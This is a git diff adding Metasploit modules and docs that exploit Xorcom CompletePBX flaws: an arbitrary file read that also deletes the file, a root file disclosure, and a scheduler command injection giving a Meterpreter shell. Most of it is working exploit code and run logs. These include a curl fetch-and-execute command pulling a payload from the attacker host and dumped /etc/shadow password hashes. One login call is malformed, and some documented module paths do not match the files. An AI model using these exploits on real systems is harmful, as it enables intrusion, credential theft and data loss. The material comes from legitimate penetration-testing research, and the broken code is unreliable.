diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md new file mode 100644 index 0000000000..51bd919b36 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md @@ -0,0 +1,142 @@ +## Vulnerable Application + +This Metasploit module exploits an **Authenticated Arbitrary File Read and Deletion** vulnerability in **Xorcom CompletePBX <= 5.2.35**. +The issue arises due to improper validation of the `systemDataFileName` parameter in the `diagnostics` module, +allowing an attacker to retrieve arbitrary files from the system. + +Additionally, this vulnerability **automatically deletes the requested file** after being accessed, +leading to potential data loss on the target. + +The vulnerability is identified as **CVE-2025-30005**. + +### Setup + +Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln) + +## Verification Steps + +1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**. +2. Launch **Metasploit Framework**. +3. Use the module: +``` +use auxiliary/admin/http/xorcom_completepbx_diagnostics_file_read +``` +4. Set the **target host**: +``` +set RHOSTS [TARGET_IP] +``` +5. Set authentication credentials: +``` +set USERNAME [VALID_ADMIN_USERNAME] +set PASSWORD [VALID_ADMIN_PASSWORD] +``` +6. Specify the file to read (before deletion): +``` +set TARGETFILE /etc/passwd +``` +7. Execute the module: +``` +run +``` +8. If successful, the contents of the specified file will be displayed before its deletion. + +## Options + +### USERNAME + +Admin username for authentication. + +### PASSWORD + +Admin password for authentication. + +### TARGETFILE + +Path of the file to retrieve (**before automatic deletion**). + +### DefangedMode + +Safety switch (true by default). Set to **false** to actually perform the read-and-delete operation. + +## Scenarios + +### Successful Exploitation Against a Vulnerable CompletePBX Instance + +**Setup**: + +- **Target**: Xorcom CompletePBX <= 5.2.35 +- **Attacker**: Metasploit Framework instance + +**Steps**: + +```bash +msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/ +[*] Running module against 192.168.1.32 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[-] Auxiliary aborted due to failure: bad-config: +Are you *SURE* you want to execute the module against the target? +Running this module will attempt to read and delete the file +specified by TARGETFILE on the remote system. + +If you have explicit authorisation, re-run with: + set DefangedMode false + +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > set DefangedMode false +DefangedMode => false +msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/ +[*] Running module against 192.168.1.32 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[!] This exploit WILL delete the target file if permissions allow. +[*] Attempting to read file: ../../../../../../../../../../..//etc/passwd +[*] ZIP file received, attempting to list files +[*] Files inside ZIP archive: + - ../../../../../../../../../../..//etc/passwd + - full_20250716_191240 + - audit_20250716_191240.log +[+] Content of /etc/passwd: +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin +systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin +messagebus:x:100:107::/nonexistent:/usr/sbin/nologin +avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin +sshd:x:102:65534::/run/sshd:/usr/sbin/nologin +pbx:x:1000:1000:,,,:/home/pbx:/bin/bash +mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false +postfix:x:104:113::/var/spool/postfix:/usr/sbin/nologin +tcpdump:x:105:115::/nonexistent:/usr/sbin/nologin +Debian-snmp:x:106:116::/var/lib/snmp:/bin/false +_chrony:x:107:117:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin +dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin +polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin +asterisk:x:109:118:Asterisk PBX daemon,,,:/var/lib/asterisk:/usr/sbin/nologin +cc-cloud-rec:x:999:995::/var/lib/cc-cloud-rec:/sbin/nologin + +[*] Auxiliary module execution completed +``` + +### Impact + +- This vulnerability grants **file read access**, but also **automatically deletes** the retrieved file. +- Attackers can extract sensitive data (e.g., user credentials) while simultaneously causing **data loss** on the system. + +This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework. diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md new file mode 100644 index 0000000000..4ac75379fc --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md @@ -0,0 +1,112 @@ +## Vulnerable Application + +This Metasploit module exploits an **Authenticated File Disclosure** vulnerability in **Xorcom CompletePBX <= 5.2.35**. +The issue arises due to improper handling of user-supplied input +in the **core download functionality**, allowing an attacker to read arbitrary files on the system with **root privileges**. + +### Setup + +Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln) + +## Verification Steps + +1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**. +2. Launch **Metasploit Framework**. +3. Use the module: +``` +use auxiliary/admin/http/xorcom_completepbx_file_disclosure +``` +4. Set the **target host**: +``` +set RHOSTS [TARGET_IP] +``` +5. Set authentication credentials: +``` +set USERNAME [VALID_ADMIN_USERNAME] +set PASSWORD [VALID_ADMIN_PASSWORD] +``` +6. Specify the file to read: +``` +set TARGETFILE /etc/shadow +``` +7. Execute the module: +``` +run +``` +8. If successful, the contents of the specified file will be displayed. + +## Options + +### USERNAME + +Admin username for authentication. + +### PASSWORD` + +Admin password for authentication. + +### TARGETFILE + +Path of the file to retrieve (Base64-encoded in request). + +## Scenarios + +### Successful Exploitation Against a Vulnerable CompletePBX Instance + +**Setup**: + +- **Target**: Xorcom CompletePBX <= 5.2.35 +- **Attacker**: Metasploit Framework instance + +**Steps**: + +```bash +msf6 auxiliary(scanner/http/xorcom_completepbx_file_disclosure) > run http://192.168.1.32/ +[*] Running module against 192.168.1.32 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Attempting to read file: /etc/shadow (Encoded as: ,L2V0Yy9zaGFkb3c=) +[+] Content of /etc/shadow: +root:$y$j9T$/vXScZij/ykAtLtP9H1nQ/$KK43hfpOrxdZwAZljjvS5dnF0ipg8NqpCOj9gbLJ9OA:19829:0:99999:7::: +daemon:*:19829:0:99999:7::: +bin:*:19829:0:99999:7::: +sys:*:19829:0:99999:7::: +sync:*:19829:0:99999:7::: +games:*:19829:0:99999:7::: +man:*:19829:0:99999:7::: +lp:*:19829:0:99999:7::: +mail:*:19829:0:99999:7::: +news:*:19829:0:99999:7::: +uucp:*:19829:0:99999:7::: +proxy:*:19829:0:99999:7::: +www-data:*:19829:0:99999:7::: +backup:*:19829:0:99999:7::: +list:*:19829:0:99999:7::: +irc:*:19829:0:99999:7::: +_apt:*:19829:0:99999:7::: +nobody:*:19829:0:99999:7::: +systemd-network:!*:19829:::::: +systemd-timesync:!*:19829:::::: +messagebus:!:19829:::::: +avahi-autoipd:!:19829:::::: +sshd:!:19829:::::: +pbx:$y$j9T$u6FpdD4iJVvFEqtUSAoFP/$P5iBn5ljpYEwcuXj4F9n6SBlMgWyxjqBDK82ija9Te5:19829:0:99999:7::: +mysql:!:19829:::::: +postfix:!:19829:::::: +tcpdump:!:19829:::::: +Debian-snmp:!:19829:::::: +_chrony:!:19829:::::: +dnsmasq:!:19829:::::: +polkitd:!*:19829:::::: +asterisk:!:19829:::::: +cc-cloud-rec:!:19829:::::: +[*] Auxiliary module execution completed +``` + +### Impact + +- This vulnerability grants **full read access to system files as root**. +- Attackers can retrieve **hashed passwords, SSH keys, and configuration files**, +leading to **privilege escalation** and potential full system compromise. + +This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework. diff --git a/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md new file mode 100644 index 0000000000..e03e57309e --- /dev/null +++ b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md @@ -0,0 +1,108 @@ +## Vulnerable Application + +This Metasploit module exploits an **Authenticated Command Injection** vulnerability in **Xorcom CompletePBX <= 5.2.35**. +The issue resides in the task scheduler functionality, where user-controlled input is improperly sanitized, allowing +arbitrary command execution with web server privileges. + +Only the **superadmin** user (`admin`) has the necessary permissions to trigger this exploit. +Even when creating a new user with maximum privileges, the vulnerability does not work. + +The vulnerability is identified as **CVE-2025-30004**. + +### Setup + +Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln) + +## Verification Steps + +1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**. +2. Launch **Metasploit Framework**. +3. Use the module: +``` +use exploit/linux/http/xorcom_completepbx_scheduler_rce +``` +4. Set the **target host**: +``` +set RHOSTS [TARGET_IP] +``` +5. Set authentication credentials: +``` +set USERNAME [VALID_ADMIN_USERNAME] +set PASSWORD [VALID_ADMIN_PASSWORD] +``` +6. Configure the payload: +``` +set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +set LHOST [ATTACKER_IP] +set LPORT [LISTENER_PORT] +``` +7. Execute the module: +``` +run +``` +8. If successful, a **Meterpreter session** will be opened on the target. + +## Options + +### USERNAME + +Admin username for authentication. + +### PASSWORD + +Admin password for authentication. + +## Scenarios + +### Successful Exploitation Against a Vulnerable CompletePBX Instance + +**Setup**: + +- **Target**: Xorcom CompletePBX <= 5.2.35 +- **Attacker**: Metasploit Framework instance + +**Steps**: + +```bash +msf6 exploit(linux/http/xorcom_completepbx_scheduler) > run http://192.168.1.32/ +[*] Command to run on remote host: curl -so ./HEuUpqtYDav http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./HEuUpqtYDav;./HEuUpqtYDav& +[*] Fetch handler listening on 192.168.1.36:8080 +[*] HTTP server started +[*] Adding resource /LoPlnjEpeOexZNVppn6cAA +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if the target is running CompletePBX... +[+] Detected CompletePBX on 192.168.1.32:80 +[+] The target appears to be vulnerable. +[*] Attempting authentication with username: admin +[+] Authentication successful! Session ID: sid=697e43b483efc1ac316461cde1fbb5d470abc3b4 +[*] Creating malicious scheduled task with description: Possimus quibusdam assumenda minima. +[+] Malicious task successfully created. +[*] Retrieving latest task ID for description: Possimus quibusdam assumenda minima.... +[+] Found task with ID: 18 +[*] Executing malicious task ID 18... +[*] Client 192.168.1.32 requested /LoPlnjEpeOexZNVppn6cAA +[*] Sending payload to 192.168.1.32 (curl/7.88.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.1.32 +[+] Task executed successfully! +[*] Sending delete request (mode=delete) for task ID 18... +[*] Sending delete request (mode=deleteConfirmed) for task ID 18... +[+] Task 18 deleted successfully! +[*] Meterpreter session 6 opened (192.168.1.36:4444 -> 192.168.1.32:40800) at 2025-07-16 21:11:31 +0200 + +meterpreter > sysinfo +Computer : localhost.localdomain +OS : Debian 12.5 (Linux 6.1.0-20-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Impact + +- This vulnerability grants **remote code execution** capabilities. +- Attackers can execute arbitrary commands as the **web server user**, potentially leading to full system compromise. +- Exploitation provides a **Meterpreter session** for post-exploitation activities. + +This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework. diff --git a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb new file mode 100644 index 0000000000..adac9295f3 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module HTTP + # + # Shared routines for Xorcom CompletePBX modules + # + module XorcomCompletePbx + # Probe root page and return appropriate CheckCode + # @return [Msf::Exploit::CheckCode] + def completepbx? + vprint_status('Checking if the target is running CompletePBX...') + res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET') + return Exploit::CheckCode::Unknown('No response from target.') unless res + return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200 + + doc = res.get_html_document + if doc.at('//meta[@name="description"][@content="CompletePBX"]') || + doc.at('//meta[@name="application-name"][@content="Ombutel"]') + vprint_good("Detected CompletePBX on #{peer}") + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe('Target does not appear to be running CompletePBX.') + end + + # Authenticate with supplied credentials and return the session cookie. + # + # @param username [String] CompletePBX username + # @param password [String] CompletePBX password + # @return [String] the "sid=..." cookie value + # @raise [Msf::Exploit::Failure] on authentication failure + # + def completepbx_login(username, password) + vprint_status("Attempting authentication with username: #{username}") + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'login'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { 'userid' => username, 'userpass' => password } + ) + unless res&.code == 200 + vprint_error('Authentication failed') + fail_with(Msf::Module::Failure::NoAccess, 'Authentication failed') + end + + sid = res.get_cookies.scan(/sid=[a-f0-9]+/).first + fail_with(Msf::Module::Failure::NoAccess, 'No session ID received') unless sid + + vprint_good("Authentication successful! Session ID: #{sid}") + sid + end + end + end + end + end +end diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb new file mode 100644 index 0000000000..1f8feada01 --- /dev/null +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -0,0 +1,165 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::XorcomCompletePbx + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Xorcom CompletePBX Arbitrary File Read and Deletion via systemDataFileName', + 'Description' => %q{ + This module exploits an authenticated path traversal vulnerability in + Xorcom CompletePBX <= 5.2.35. The issue occurs due to improper validation of the + `systemDataFileName` parameter in the `diagnostics` module, allowing authenticated attackers + to retrieve arbitrary files from the system. + + Additionally, the exploitation of this vulnerability results in the **deletion** of the + requested file from the target system. + + The vulnerability is identified as CVE-2025-30005. + }, + 'Author' => [ + 'Valentin Lobstein' # Research and module development + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-30005'], + ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'], + ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] + ], + 'DisclosureDate' => '2025-03-02', + 'Notes' => { + 'Stability' => [CRASH_SAFE, OS_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), + OptString.new('PASSWORD', [true, 'Password for authentication']), + OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd']) + ] + ) + register_advanced_options( + [ + OptBool.new('DefangedMode', [ true, 'Run in defanged mode', true ]) + ] + ) + end + + def check + completepbx? + end + + def run + if datastore['DefangedMode'] + warning = <<~EOF + + Are you *SURE* you want to execute the module against the target? + Running this module will attempt to read and delete the file + specified by TARGETFILE on the remote system. + + If you have explicit authorisation, re-run with: + set DefangedMode false + EOF + fail_with(Failure::BadConfig, warning) + end + + print_warning('This exploit WILL delete the target file if permissions allow.') + sleep(2) + + sid_cookie = completepbx_login(datastore['USERNAME', datastore['PASSWORD']]) + target_file = "../../../../../../../../../../../#{datastore['TARGETFILE']}" + + print_status("Attempting to read file: #{target_file}") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'GET', + 'headers' => { 'Cookie' => sid_cookie }, + 'vars_get' => { + 'class' => 'diagnostics', + 'method' => 'stopMode', + 'systemDataFileName' => target_file + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") + end + + body = res.body.lines[0..-2].join + + if res.headers['Content-Type']&.include?('application/zip') + print_status('ZIP file received, attempting to list files') + + files_list = list_files_in_zip(body) + + if files_list.empty? + fail_with(Failure::NotVulnerable, 'ZIP archive received but contains no files.') + end + + print_status("Files inside ZIP archive:\n - " + files_list.join("\n - ")) + + extracted_content = read_file_from_zip(body, File.basename(target_file), files_list) + + if extracted_content + print_good("Content of #{datastore['TARGETFILE']}:\n#{extracted_content}") + else + fail_with(Failure::NotVulnerable, 'File not found in ZIP archive.') + end + else + print_good("Raw file content received:\n#{body}") + end + end + + def list_files_in_zip(zip_data) + files = [] + begin + ::Zip::InputStream.open(StringIO.new(zip_data)) do |io| + while (entry = io.get_next_entry) + files << entry.name + end + end + rescue ::Zip::Error, ::IOError, ::ArgumentError => e + fail_with(Failure::UnexpectedReply, "Invalid ZIP data: #{e.class} - #{e.message}") + end + files + end + + def read_file_from_zip(zip_data, target_filename, files_list) + possible_matches = files_list.select { |f| f.include?(target_filename) } + return nil if possible_matches.empty? + + correct_filename = possible_matches.first + file_content = nil + + begin + ::Zip::InputStream.open(StringIO.new(zip_data)) do |io| + while (entry = io.get_next_entry) + if entry.name == correct_filename + file_content = io.read + break + end + end + end + rescue ::Zip::Error, ::IOError, ::ArgumentError => e + fail_with(Failure::UnexpectedReply, "Error reading ZIP archive: #{e.class} - #{e.message}") + end + + file_content + end +end diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb new file mode 100644 index 0000000000..1128ada69f --- /dev/null +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::XorcomCompletePbx + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Xorcom CompletePBX Authenticated File Disclosure via Backup Download', + 'Description' => %q{ + This module exploits an authenticated file disclosure vulnerability in CompletePBX <= 5.2.35. + The issue resides in the backup download function, where user input is not properly validated, + allowing an attacker to access arbitrary files on the system as root. + + The vulnerability is triggered by setting the `backup` parameter to a Base64-encoded + absolute file path, prefixed by a comma `,`. This results in the server exposing the + file contents directly. + }, + 'Author' => [ + 'Valentin Lobstein' # Research and module development + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-2292'], + ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'], + ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] + ], + 'Privileged' => true, + 'DisclosureDate' => '2025-03-02', + 'Platform' => %w[linux unix], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), + OptString.new('PASSWORD', [true, 'Password for authentication']), + OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/shadow']) + ] + ) + end + + def check + completepbx? + end + + def run + sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD']) + encoded_path = ',' + Rex::Text.encode_base64(datastore['TARGETFILE']) + + print_status("Attempting to read file: #{datastore['TARGETFILE']} (Encoded as: #{encoded_path})") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'GET', + 'headers' => { + 'Cookie' => sid_cookie + }, + 'vars_get' => { + 'class' => 'core', + 'method' => 'download', + 'backup' => encoded_path + } + }) + + fail_with(Failure::Unreachable, 'No response from target') unless res + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200 + fail_with(Failure::NotVulnerable, 'No content retrieved; target not vulnerable or file empty') if res.body.to_s.empty? + + doc = res.get_html_document + doc.at('//b[contains(text(),"Fatal error")]') + + fatal_regex = %r{\r?\n\s*Fatal error}i + content, separator, = res.body.partition(fatal_regex) + content = res.body if separator.empty? + + print_good("Content of #{datastore['TARGETFILE']}:\n#{content.rstrip}") + end +end diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb new file mode 100644 index 0000000000..fe19e6231c --- /dev/null +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::XorcomCompletePbx + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Xorcom CompletePBX Authenticated Command Injection via Task Scheduler', + 'Description' => %q{ + This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX + versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled + input is improperly sanitized, allowing arbitrary command execution with web server privileges. + + Only the superadmin user (admin) has the necessary permissions to trigger this exploit. + Even when creating a new user with maximum privileges, the vulnerability does not work. + }, + 'Author' => [ + 'Valentin Lobstein' # Research and module development + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-30004'], + ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'], + ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] + ], + 'Privileged' => false, + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command Shell', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-03-02', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('USERNAME', [true, 'Valid CompletePBX username', 'admin']), + OptString.new('PASSWORD', [true, 'Valid CompletePBX password']), + ]) + end + + def check + completepbx? + end + + def get_latest_task_id(sid_cookie, task_desc) + print_status("Retrieving latest task ID for description: #{task_desc}...") + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'vars_get' => { + 'class' => 'scheduler', + 'method' => 'tasks', + 'offset' => '0', + 'max' => '20' + }, + 'cookie' => sid_cookie + ) + fail_with(Failure::Unreachable, 'No response from target while fetching tasks') unless res + + json = res.get_json_document + fail_with(Failure::UnexpectedReply, 'Invalid JSON structure') unless json.is_a?(Hash) + + rows = json.fetch('rows', nil) + fail_with(Failure::UnexpectedReply, 'Missing task list in response') unless rows.is_a?(Array) + + row = rows.find { |r| r.is_a?(Array) && r[2].to_s == task_desc } + fail_with(Failure::NotFound, "Task '#{task_desc}' not found") unless row + + task_id = row[0] + print_good("Found task with ID: #{task_id}") + task_id + end + + def create_task(sid_cookie) + task_desc = Faker::Lorem.sentence(word_count: 4) + notes = Faker::Lorem.paragraph(sentence_count: 3) + print_status("Creating malicious scheduled task with description: #{task_desc}") + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'cookie' => sid_cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'script' => 'backup', + 'description' => task_desc, + 'starting' => Time.now.strftime('%Y-%m-%d %H:%M'), + 'interval' => '1', + 'interval_unit' => 'month', + 'parameters' => "$(#{payload.encoded})", + 'notes' => notes, + 'data' => '0', + 'class' => 'scheduler', + 'method' => 'save_task', + 'mode' => 'create' + } + ) + fail_with(Failure::Unreachable, 'No response from target while creating task') unless res + + json_res = res.get_json_document || fail_with(Failure::UnexpectedReply, 'Invalid JSON response') + state = json_res.fetch('state') { fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') } + + print_good('Malicious task successfully created.') and return task_desc if state == 'success' + + fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') + end + + def run_task(sid_cookie, task_id) + print_status("Executing malicious task ID #{task_id}...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'cookie' => sid_cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'class' => 'scheduler', + 'method' => 'run_task', + 'mode' => 'run', + 'data' => task_id.to_s + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target while executing task') + end + + print_good('Task executed successfully!') + end + + def delete_task(sid_cookie, task_id) + %w[delete deleteConfirmed].each do |mode| + print_status("Sending delete request (mode=#{mode}) for task ID #{task_id}...") + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'cookie' => sid_cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'class' => 'scheduler', + 'method' => 'delete_task', + 'mode' => mode, + 'data' => task_id.to_s + } + }) + end + + print_good("Task #{task_id} deleted successfully!") + end + + def exploit + sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD']) + task_desc = create_task(sid_cookie) + task_id = get_latest_task_id(sid_cookie, task_desc) + run_task(sid_cookie, task_id) + ensure + delete_task(sid_cookie, task_id) if task_id + end +end